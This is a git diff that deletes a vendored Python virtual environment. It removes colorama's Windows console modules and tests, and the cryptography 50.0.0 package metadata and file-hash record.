term.get_attrs(), - WinColor.YELLOW + WinColor.MAGENTA * 16 + WinStyle.BRIGHT) - - @patch('colorama.winterm.win32') - def testResetAll(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 1 + 2 * 16 + 8 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - - term.set_console = Mock() - term._fore = -1 - term._back = -1 - term._style = -1 - - term.reset_all() - - self.assertEqual(term._fore, 1) - self.assertEqual(term._back, 2) - self.assertEqual(term._style, 8) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testFore(self): - term = WinTerm() - term.set_console = Mock() - term._fore = 0 - - term.fore(5) - - self.assertEqual(term._fore, 5) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testBack(self): - term = WinTerm() - term.set_console = Mock() - term._back = 0 - - term.back(5) - - self.assertEqual(term._back, 5) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testStyle(self): - term = WinTerm() - term.set_console = Mock() - term._style = 0 - - term.style(22) - - self.assertEqual(term._style, 22) - self.assertEqual(term.set_console.called, True) - - @patch('colorama.winterm.win32') - def testSetConsole(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 0 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - term.windll = Mock() - - term.set_console() - - self.assertEqual( - mockWin32.SetConsoleTextAttribute.call_args, - ((mockWin32.STDOUT, term.get_attrs()), {}) - ) - - @patch('colorama.winterm.win32') - def testSetConsoleOnStderr(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 0 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - term.windll = Mock() - - term.set_console(on_stderr=True) - - self.assertEqual( - mockWin32.SetConsoleTextAttribute.call_args, - ((mockWin32.STDERR, term.get_attrs()), {}) - ) - - -if __name__ == '__main__': - main() diff --git a/venv/Lib/site-packages/colorama/win32.py b/venv/Lib/site-packages/colorama/win32.py deleted file mode 100644 index 841b0e270a381cdfaca544a9be976d7276d83b1e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/win32.py +++ /dev/null @@ -1,180 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. - -# from winbase.h -STDOUT = -11 -STDERR = -12 - -ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004 - -try: - import ctypes - from ctypes import LibraryLoader - windll = LibraryLoader(ctypes.WinDLL) - from ctypes import wintypes -except (AttributeError, ImportError): - windll = None - SetConsoleTextAttribute = lambda *_: None - winapi_test = lambda *_: None -else: - from ctypes import byref, Structure, c_char, POINTER - - COORD = wintypes._COORD - - class CONSOLE_SCREEN_BUFFER_INFO(Structure): - """struct in wincon.h.""" - _fields_ = [ - ("dwSize", COORD), - ("dwCursorPosition", COORD), - ("wAttributes", wintypes.WORD), - ("srWindow", wintypes.SMALL_RECT), - ("dwMaximumWindowSize", COORD), - ] - def __str__(self): - return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( - self.dwSize.Y, self.dwSize.X - , self.dwCursorPosition.Y, self.dwCursorPosition.X - , self.wAttributes - , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right - , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X - ) - - _GetStdHandle = windll.kernel32.GetStdHandle - _GetStdHandle.argtypes = [ - wintypes.DWORD, - ] - _GetStdHandle.restype = wintypes.HANDLE - - _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo - _GetConsoleScreenBufferInfo.argtypes = [ - wintypes.HANDLE, - POINTER(CONSOLE_SCREEN_BUFFER_INFO), - ] - _GetConsoleScreenBufferInfo.restype = wintypes.BOOL - - _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute - _SetConsoleTextAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - ] - _SetConsoleTextAttribute.restype = wintypes.BOOL - - _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition - _SetConsoleCursorPosition.argtypes = [ - wintypes.HANDLE, - COORD, - ] - _SetConsoleCursorPosition.restype = wintypes.BOOL - - _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA - _FillConsoleOutputCharacterA.argtypes = [ - wintypes.HANDLE, - c_char, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputCharacterA.restype = wintypes.BOOL - - _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute - _FillConsoleOutputAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputAttribute.restype = wintypes.BOOL - - _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW - _SetConsoleTitleW.argtypes = [ - wintypes.LPCWSTR - ] - _SetConsoleTitleW.restype = wintypes.BOOL - - _GetConsoleMode = windll.kernel32.GetConsoleMode - _GetConsoleMode.argtypes = [ - wintypes.HANDLE, - POINTER(wintypes.DWORD) - ] - _GetConsoleMode.restype = wintypes.BOOL - - _SetConsoleMode = windll.kernel32.SetConsoleMode - _SetConsoleMode.argtypes = [ - wintypes.HANDLE, - wintypes.DWORD - ] - _SetConsoleMode.restype = wintypes.BOOL - - def _winapi_test(handle): - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return bool(success) - - def winapi_test(): - return any(_winapi_test(h) for h in - (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) - - def GetConsoleScreenBufferInfo(stream_id=STDOUT): - handle = _GetStdHandle(stream_id) - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return csbi - - def SetConsoleTextAttribute(stream_id, attrs): - handle = _GetStdHandle(stream_id) - return _SetConsoleTextAttribute(handle, attrs) - - def SetConsoleCursorPosition(stream_id, position, adjust=True): - position = COORD(*position) - # If the position is out of range, do nothing. - if position.Y <= 0 or position.X <= 0: - return - # Adjust for Windows' SetConsoleCursorPosition: - # 1. being 0-based, while ANSI is 1-based. - # 2. expecting (x,y), while ANSI uses (y,x). - adjusted_position = COORD(position.Y - 1, position.X - 1) - if adjust: - # Adjust for viewport's scroll position - sr = GetConsoleScreenBufferInfo(STDOUT).srWindow - adjusted_position.Y += sr.Top - adjusted_position.X += sr.Left - # Resume normal processing - handle = _GetStdHandle(stream_id) - return _SetConsoleCursorPosition(handle, adjusted_position) - - def FillConsoleOutputCharacter(stream_id, char, length, start): - handle = _GetStdHandle(stream_id) - char = c_char(char.encode()) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - success = _FillConsoleOutputCharacterA( - handle, char, length, start, byref(num_written)) - return num_written.value - - def FillConsoleOutputAttribute(stream_id, attr, length, start): - ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' - handle = _GetStdHandle(stream_id) - attribute = wintypes.WORD(attr) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - return _FillConsoleOutputAttribute( - handle, attribute, length, start, byref(num_written)) - - def SetConsoleTitle(title): - return _SetConsoleTitleW(title) - - def GetConsoleMode(handle): - mode = wintypes.DWORD() - success = _GetConsoleMode(handle, byref(mode)) - if not success: - raise ctypes.WinError() - return mode.value - - def SetConsoleMode(handle, mode): - success = _SetConsoleMode(handle, mode) - if not success: - raise ctypes.WinError() diff --git a/venv/Lib/site-packages/colorama/winterm.py b/venv/Lib/site-packages/colorama/winterm.py deleted file mode 100644 index aad867e8c80b826bf6a060116f17fa08a8eb0765..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/winterm.py +++ /dev/null @@ -1,195 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -try: - from msvcrt import get_osfhandle -except ImportError: - def get_osfhandle(_): - raise OSError("This isn't windows!") - - -from . import win32 - -# from wincon.h -class WinColor(object): - BLACK = 0 - BLUE = 1 - GREEN = 2 - CYAN = 3 - RED = 4 - MAGENTA = 5 - YELLOW = 6 - GREY = 7 - -# from wincon.h -class WinStyle(object): - NORMAL = 0x00 # dim text, dim background - BRIGHT = 0x08 # bright text, dim background - BRIGHT_BACKGROUND = 0x80 # dim text, bright background - -class WinTerm(object): - - def __init__(self): - self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes - self.set_attrs(self._default) - self._default_fore = self._fore - self._default_back = self._back - self._default_style = self._style - # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. - # So that LIGHT_EX colors and BRIGHT style do not clobber each other, - # we track them separately, since LIGHT_EX is overwritten by Fore/Back - # and BRIGHT is overwritten by Style codes. - self._light = 0 - - def get_attrs(self): - return self._fore + self._back * 16 + (self._style | self._light) - - def set_attrs(self, value): - self._fore = value & 7 - self._back = (value >> 4) & 7 - self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) - - def reset_all(self, on_stderr=None): - self.set_attrs(self._default) - self.set_console(attrs=self._default) - self._light = 0 - - def fore(self, fore=None, light=False, on_stderr=False): - if fore is None: - fore = self._default_fore - self._fore = fore - # Emulate LIGHT_EX with BRIGHT Style - if light: - self._light |= WinStyle.BRIGHT - else: - self._light &= ~WinStyle.BRIGHT - self.set_console(on_stderr=on_stderr) - - def back(self, back=None, light=False, on_stderr=False): - if back is None: - back = self._default_back - self._back = back - # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style - if light: - self._light |= WinStyle.BRIGHT_BACKGROUND - else: - self._light &= ~WinStyle.BRIGHT_BACKGROUND - self.set_console(on_stderr=on_stderr) - - def style(self, style=None, on_stderr=False): - if style is None: - style = self._default_style - self._style = style - self.set_console(on_stderr=on_stderr) - - def set_console(self, attrs=None, on_stderr=False): - if attrs is None: - attrs = self.get_attrs() - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleTextAttribute(handle, attrs) - - def get_position(self, handle): - position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition - # Because Windows coordinates are 0-based, - # and win32.SetConsoleCursorPosition expects 1-based. - position.X += 1 - position.Y += 1 - return position - - def set_cursor_position(self, position=None, on_stderr=False): - if position is None: - # I'm not currently tracking the position, so there is no default. - # position = self.get_position() - return - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleCursorPosition(handle, position) - - def cursor_adjust(self, x, y, on_stderr=False): - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - position = self.get_position(handle) - adjusted_position = (position.Y + y, position.X + x) - win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) - - def erase_screen(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the screen. - # 1 should clear from the cursor to the beginning of the screen. - # 2 should clear the entire screen, and move cursor to (1,1) - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - # get the number of character cells in the current buffer - cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y - # get number of character cells before current cursor position - cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = cells_in_screen - cells_before_cursor - elif mode == 1: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_before_cursor - elif mode == 2: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_in_screen - else: - # invalid mode - return - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - if mode == 2: - # put the cursor where needed - win32.SetConsoleCursorPosition(handle, (1, 1)) - - def erase_line(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the line. - # 1 should clear from the cursor to the beginning of the line. - # 2 should clear the entire line. - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X - elif mode == 1: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwCursorPosition.X - elif mode == 2: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwSize.X - else: - # invalid mode - return - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - - def set_title(self, title): - win32.SetConsoleTitle(title) - - -def enable_vt_processing(fd): - if win32.windll is None or not win32.winapi_test(): - return False - - try: - handle = get_osfhandle(fd) - mode = win32.GetConsoleMode(handle) - win32.SetConsoleMode( - handle, - mode | win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING, - ) - - mode = win32.GetConsoleMode(handle) - if mode & win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING: - return True - # Can get TypeError in testsuite where 'fd' is a Mock() - except (OSError, TypeError): - return False diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/INSTALLER b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/METADATA b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/METADATA deleted file mode 100644 index 72de6bfe990e5f03b8e92a31fc9dc25bc416eb46..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/METADATA +++ /dev/null @@ -1,110 +0,0 @@ -Metadata-Version: 2.4 -Name: cryptography -Version: 50.0.0 -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Natural Language :: English -Classifier: Operating System :: MacOS :: MacOS X -Classifier: Operating System :: POSIX -Classifier: Operating System :: POSIX :: BSD -Classifier: Operating System :: POSIX :: Linux -Classifier: Operating System :: Microsoft :: Windows -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Programming Language :: Python :: Free Threading :: 3 - Stable -Classifier: Topic :: Security :: Cryptography -Requires-Dist: cffi>=2.0.0 ; platform_python_implementation != 'PyPy' -Requires-Dist: typing-extensions>=4.13.2 ; python_full_version < '3.11' -Requires-Dist: bcrypt>=3.1.5 ; extra == 'ssh' -Provides-Extra: ssh -License-File: LICENSE -License-File: LICENSE.APACHE -License-File: LICENSE.BSD -Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers. -Author-email: The Python Cryptographic Authority and individual contributors -License-Expression: Apache-2.0 OR BSD-3-Clause -Requires-Python: >=3.9, !=3.9.0, !=3.9.1 -Description-Content-Type: text/x-rst; charset=UTF-8 -Project-URL: changelog, https://cryptography.io/en/latest/changelog/ -Project-URL: documentation, https://cryptography.io/ -Project-URL: homepage, https://github.com/pyca/cryptography -Project-URL: issues, https://github.com/pyca/cryptography/issues -Project-URL: source, https://github.com/pyca/cryptography/ - -pyca/cryptography -================= - -.. image:: https://img.shields.io/pypi/v/cryptography.svg - :target: https://pypi.org/project/cryptography/ - :alt: Latest Version - -.. image:: https://readthedocs.org/projects/cryptography/badge/?version=latest - :target: https://cryptography.io - :alt: Latest Docs - -.. image:: https://github.com/pyca/cryptography/actions/workflows/ci.yml/badge.svg - :target: https://github.com/pyca/cryptography/actions/workflows/ci.yml?query=branch%3Amain - -``cryptography`` is a package which provides cryptographic recipes and -primitives to Python developers. Our goal is for it to be your "cryptographic -standard library". It supports Python 3.9+ and PyPy3 7.3.11+. - -``cryptography`` includes both high level recipes and low level interfaces to -common cryptographic algorithms such as symmetric ciphers, message digests, and -key derivation functions. For example, to encrypt something with -``cryptography``'s high level symmetric encryption recipe: - -.. code-block:: pycon - - >>> from cryptography.fernet import Fernet - >>> # Put this somewhere safe! - >>> key = Fernet.generate_key() - >>> f = Fernet(key) - >>> token = f.encrypt(b"A really secret message. Not for prying eyes.") - >>> token - b'...' - >>> f.decrypt(token) - b'A really secret message. Not for prying eyes.' - -You can find more information in the `documentation`_. - -You can install ``cryptography`` with: - -.. code-block:: console - - $ pip install cryptography - -For full details see `the installation documentation`_. - -Discussion -~~~~~~~~~~ - -If you run into bugs, you can file them in our `issue tracker`_. - -We maintain a `cryptography-dev`_ mailing list for development discussion. - -You can also join ``#pyca`` on ``irc.libera.chat`` to ask questions or get -involved. - -Security -~~~~~~~~ - -Need to report a security issue? Please consult our `security reporting`_ -documentation. - - -.. _`documentation`: https://cryptography.io/ -.. _`the installation documentation`: https://cryptography.io/en/latest/installation/ -.. _`issue tracker`: https://github.com/pyca/cryptography/issues -.. _`cryptography-dev`: https://mail.python.org/mailman/listinfo/cryptography-dev -.. _`security reporting`: https://cryptography.io/en/latest/security/ - diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/RECORD b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/RECORD deleted file mode 100644 index 2162f966b8c60a5331e05f0a131d395914471bc1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/RECORD +++ /dev/null @@ -1,199 +0,0 @@ -cryptography-50.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -cryptography-50.0.0.dist-info/METADATA,sha256=1ONF-Cy3g4d9cyYfADA1d83yDRMikXbC0DoKVgPLOrU,4343 -cryptography-50.0.0.dist-info/RECORD,, -cryptography-50.0.0.dist-info/WHEEL,sha256=nv5WBZ27cxxDjIIqxBMqK2cOF025DwkFmqJGqL3SpXU,96 -cryptography-50.0.0.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197 -cryptography-50.0.0.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360 -cryptography-50.0.0.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532 -cryptography-50.0.0.dist-info/sboms/cryptography-rust.cyclonedx.json,sha256=s8HuFJSNvoB_Quv6B7JxmCDUu1q-VLl9nArVAdhhgCg,45629 -cryptography-50.0.0.dist-info/sboms/sbom.json,sha256=lE833MHD9BUZlxfcmgy8kn77osLkUqyQCs3WpasTgaY,1223 -cryptography/__about__.py,sha256=rM2noC1TeiQiQ4o8wL-OmtXas5OXwhkWPFo7yTZ-XSM,445 -cryptography/__init__.py,sha256=mthuUrTd4FROCpUYrTIqhjz6s6T9djAZrV7nZ1oMm2o,364 -cryptography/__pycache__/__about__.cpython-314.pyc,, -cryptography/__pycache__/__init__.cpython-314.pyc,, -cryptography/__pycache__/cobblestone.cpython-314.pyc,, -cryptography/__pycache__/exceptions.cpython-314.pyc,, -cryptography/__pycache__/fernet.cpython-314.pyc,, -cryptography/__pycache__/utils.cpython-314.pyc,, -cryptography/cobblestone.py,sha256=T_-F08-AUf3ljaypZeklNTV1hWObH57oo45mVSzk9wc,693 -cryptography/exceptions.py,sha256=835EWILc2fwxw-gyFMriciC2SqhViETB10LBSytnDIc,1087 -cryptography/fernet.py,sha256=2sLCPOmejhOVbudcS3QsM1PIuHbxCeRcRtWkncQ3mCo,7687 -cryptography/hazmat/__init__.py,sha256=5IwrLWrVp0AjEr_4FdWG_V057NSJGY_W4egNNsuct0g,455 -cryptography/hazmat/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/__pycache__/_oid.cpython-314.pyc,, -cryptography/hazmat/_oid.py,sha256=Ohe2nUE6XjKx1UF6TAsGUy2v8GUJ-Vi9DS4yxSukt5U,18150 -cryptography/hazmat/asn1/__init__.py,sha256=YqYToHGFjLOKigRC00HGj6hrjEwbu1SPpAiu6-u-fao,812 -cryptography/hazmat/asn1/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/asn1/__pycache__/asn1.cpython-314.pyc,, -cryptography/hazmat/asn1/asn1.py,sha256=9mcfrmdvK7KtjhRYofMzAjW0u7nvqbfsvPfbhNQK1BQ,19152 -cryptography/hazmat/backends/__init__.py,sha256=O5jvKFQdZnXhKeqJ-HtulaEL9Ni7mr1mDzZY5kHlYhI,361 -cryptography/hazmat/backends/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/backends/openssl/__init__.py,sha256=p3jmJfnCag9iE5sdMrN6VvVEu55u46xaS_IjoI0SrmA,305 -cryptography/hazmat/backends/openssl/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/backends/openssl/__pycache__/backend.cpython-314.pyc,, -cryptography/hazmat/backends/openssl/backend.py,sha256=0NczFbiwGxfq9qi28oHYr08r_r7VQg4AXHjb0oFPwqA,10475 -cryptography/hazmat/bindings/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/bindings/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/bindings/_rust.pyd,sha256=Bf77FLHLHJC8zM6H6C0gX18jlpd7-REkOXJ5C6I3aEk,9935360 -cryptography/hazmat/bindings/_rust/__init__.pyi,sha256=uUnnvOq_uameYnBNpmsv3SRAVO0WQGpjI58aR1lL4Kw,2285 -cryptography/hazmat/bindings/_rust/_openssl.pyi,sha256=T_5TpYO8bghIPjAQ3BtAABqw-CcYskHp92wm5PNY6dc,228 -cryptography/hazmat/bindings/_rust/asn1.pyi,sha256=BrGjC8J6nwuS-r3EVcdXJB8ndotfY9mbQYOfpbPG0HA,354 -cryptography/hazmat/bindings/_rust/cobblestone.pyi,sha256=9lUf1W1hTrszEJ4YpScJNIPSD9BOM7o-C82-mtSDG9o,1325 -cryptography/hazmat/bindings/_rust/declarative_asn1.pyi,sha256=MBmOZzLTdmPJ6-1K6Aq3PTuHJ1MGgRfIu0hIgag7ocE,3866 -cryptography/hazmat/bindings/_rust/exceptions.pyi,sha256=exXr2xw_0pB1kk93cYbM3MohbzoUkjOms1ZMUi0uQZE,640 -cryptography/hazmat/bindings/_rust/ocsp.pyi,sha256=VPVWuKHI9EMs09ZLRYAGvR0Iz0mCMmEzXAkgJHovpoM,4020 -cryptography/hazmat/bindings/_rust/openssl/__init__.pyi,sha256=O6GOyvDxt6ylicB2aFGuu5RcGZy9UjKnYqGR8rqzvdw,1578 -cryptography/hazmat/bindings/_rust/openssl/aead.pyi,sha256=7d--xdc0vuzRe4S2uuQaGm-9GGKv4NcSLQcLyWcaD6s,4582 -cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi,sha256=LhPzHWSXJq4grAJXn6zSvSSdV-aYIIscHDwIPlJGGPs,1315 -cryptography/hazmat/bindings/_rust/openssl/cmac.pyi,sha256=nPH0X57RYpsAkRowVpjQiHE566ThUTx7YXrsadmrmHk,564 -cryptography/hazmat/bindings/_rust/openssl/dh.pyi,sha256=Z3TC-G04-THtSdAOPLM1h2G7ml5bda1ElZUcn5wpuhk,1564 -cryptography/hazmat/bindings/_rust/openssl/dsa.pyi,sha256=qBtkgj2albt2qFcnZ9UDrhzoNhCVO7HTby5VSf1EXMI,1299 -cryptography/hazmat/bindings/_rust/openssl/ec.pyi,sha256=zJy0pRa5n-_p2dm45PxECB_-B6SVZyNKfjxFDpPqT38,1691 -cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi,sha256=VXfXd5G6hUivg399R1DYdmW3eTb0EebzDTqjRC2gaRw,532 -cryptography/hazmat/bindings/_rust/openssl/ed448.pyi,sha256=Yx49lqdnjsD7bxiDV1kcaMrDktug5evi5a6zerMiy2s,514 -cryptography/hazmat/bindings/_rust/openssl/hashes.pyi,sha256=bFe3T13UeyRInUJMD-R5ArGTGLqWDiWo2Lv2KGzUbf4,1076 -cryptography/hazmat/bindings/_rust/openssl/hmac.pyi,sha256=BXZn7NDjL3JAbYW0SQ8pg1iyC5DbQXVhUAiwsi8DFR8,702 -cryptography/hazmat/bindings/_rust/openssl/hpke.pyi,sha256=p_hGLn6YH-EarJF1V5bUsUtjipviEApcR5O0sUHJLtc,2914 -cryptography/hazmat/bindings/_rust/openssl/kdf.pyi,sha256=HiiLdEB9nqMsTvMwiFppQpfPz6fHUz9_gpjEB_XAOXA,6619 -cryptography/hazmat/bindings/_rust/openssl/keys.pyi,sha256=teIt8M6ZEMJrn4s3W0UnW0DZ-30Jd68WnSsKKG124l0,912 -cryptography/hazmat/bindings/_rust/openssl/keywrap.pyi,sha256=mGCJEoQ4lxi4CROTBEuUzb9U4ky8n52L3iDvCOXNBRI,733 -cryptography/hazmat/bindings/_rust/openssl/mldsa.pyi,sha256=H84XDW0TQ3LHhdGJD5uPaDT5ijEiK6MZytXYc8rBNf4,1421 -cryptography/hazmat/bindings/_rust/openssl/mlkem.pyi,sha256=byoeus4-lIOlWlEiRQdCc00qCkXpOB5peBY6yo9ik8s,835 -cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi,sha256=_SW9NtQ5FDlAbdclFtWpT4lGmxKIKHpN-4j8J2BzYfQ,585 -cryptography/hazmat/bindings/_rust/openssl/rsa.pyi,sha256=2OQCNSXkxgc-3uw1xiCCloIQTV6p9_kK79Yu0rhZgPc,1364 -cryptography/hazmat/bindings/_rust/openssl/x25519.pyi,sha256=ewn4GpQyb7zPwE-ni7GtyQgMC0A1mLuqYsSyqv6nI_s,523 -cryptography/hazmat/bindings/_rust/openssl/x448.pyi,sha256=juTZTmli8jO_5Vcufg-vHvx_tCyezmSLIh_9PU3TczI,505 -cryptography/hazmat/bindings/_rust/pkcs12.pyi,sha256=vEEd5wDiZvb8ZGFaziLCaWLzAwoG_tvPUxLQw5_uOl8,1605 -cryptography/hazmat/bindings/_rust/pkcs7.pyi,sha256=txGBJijqZshEcqra6byPNbnisIdlxzOSIHP2hl9arPs,1601 -cryptography/hazmat/bindings/_rust/test_support.pyi,sha256=PPhld-WkO743iXFPebeG0LtgK0aTzGdjcIsay1Gm5GE,757 -cryptography/hazmat/bindings/_rust/x509.pyi,sha256=LVT4htBNse5gijQh4GhVNYEbAO0E1ANgE28tWqw3g4I,10211 -cryptography/hazmat/bindings/openssl/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/bindings/openssl/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/bindings/openssl/__pycache__/_conditional.cpython-314.pyc,, -cryptography/hazmat/bindings/openssl/__pycache__/binding.cpython-314.pyc,, -cryptography/hazmat/bindings/openssl/_conditional.py,sha256=vfzi-xHdStAcJQjLqqOlSos94L8D_tqFtBe7Ovw-KtY,5611 -cryptography/hazmat/bindings/openssl/binding.py,sha256=FsuLxbTnrqW60-dAWtakgufeq7TnqaQai1Pc7Dowrjo,3706 -cryptography/hazmat/decrepit/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/decrepit/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/decrepit/ciphers/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/decrepit/ciphers/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/decrepit/ciphers/__pycache__/algorithms.cpython-314.pyc,, -cryptography/hazmat/decrepit/ciphers/__pycache__/modes.cpython-314.pyc,, -cryptography/hazmat/decrepit/ciphers/algorithms.py,sha256=WSPjM2sXfrLDXrtN5R7N6rA1XF7b93I1e_lvD4yx2oA,3752 -cryptography/hazmat/decrepit/ciphers/modes.py,sha256=Oq_PEwCke5OLczOfr_vzAOJ6wPx-rlsvHAXPBuh5b9o,1649 -cryptography/hazmat/primitives/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/primitives/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/_asymmetric.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/_cipheralgorithm.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/_modes.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/_serialization.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/cmac.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/constant_time.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/hashes.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/hmac.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/hpke.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/keywrap.cpython-314.pyc,, -cryptography/hazmat/primitives/__pycache__/padding.cpython-314.pyc,, 